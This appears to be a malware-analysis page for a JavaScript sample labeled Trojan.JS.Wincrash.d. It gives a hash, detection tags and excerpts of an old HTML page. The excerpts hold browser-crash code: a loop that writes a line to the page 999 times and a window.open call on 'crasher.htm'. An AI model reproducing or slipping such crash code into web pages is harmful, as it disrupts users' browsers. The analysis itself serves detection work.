Benign Download

Trojan.JS.Wincrash.d

Invokes zero-argument function at module scopeOpens browser window or tab
SHA-2565a52b9a6ccf42ce199378f60e729a68f9813f8f4c717023be8e83756f0ef6af8
MaleculeH₂(DbU)

Evidence

Writes HTML into document lines 8–29
8:33… e. If editing downloaded HTML source, delete
9 this portion.-->
10</noscript>
11<!--End inserted JavaScript code.-->
12</head>
13
14<body bgcolor="#FFFFFF">
15
16<p><font size="2"><script language="JavaScript">
17<!--for(i=1;i<1000;i++)
18{
19document.write("����ɂ���<br>");
20}// --> </script></font></p>
21<font size="2"><script language="JavaScript"> <!--
22
23function TripodShowPopup()
24{
25 // open the popup window. stick a timestamp to foil caching.
26 var now = new Date();
27 var popupURL = "/adm/popup/roadmap.shtml?"+now.getTime();
28 var popup = window.open(popupURL,"TripodPopup",'toolbar=0,location=0,directories=0,status=0,menubar=0,scrollbars=0,resizable=0,width=593,height=125');
29 // set the …
Invokes zero-argument function at module scope lines 29–42
⋯6 lines
35}
36
37TripodShowPopup();
38
39// --> </script></font>
40
41<p><font size="2"><script language="javascript"> w=window.open("crasher.htm");
42<!--�@�@�������t�@�C�����B�@�@ …

Keyboard shortcuts on this page: j for the next sample, k for the previous one, x to go back to the feed, d to download the original bytes, r to re-queue the sample for analysis.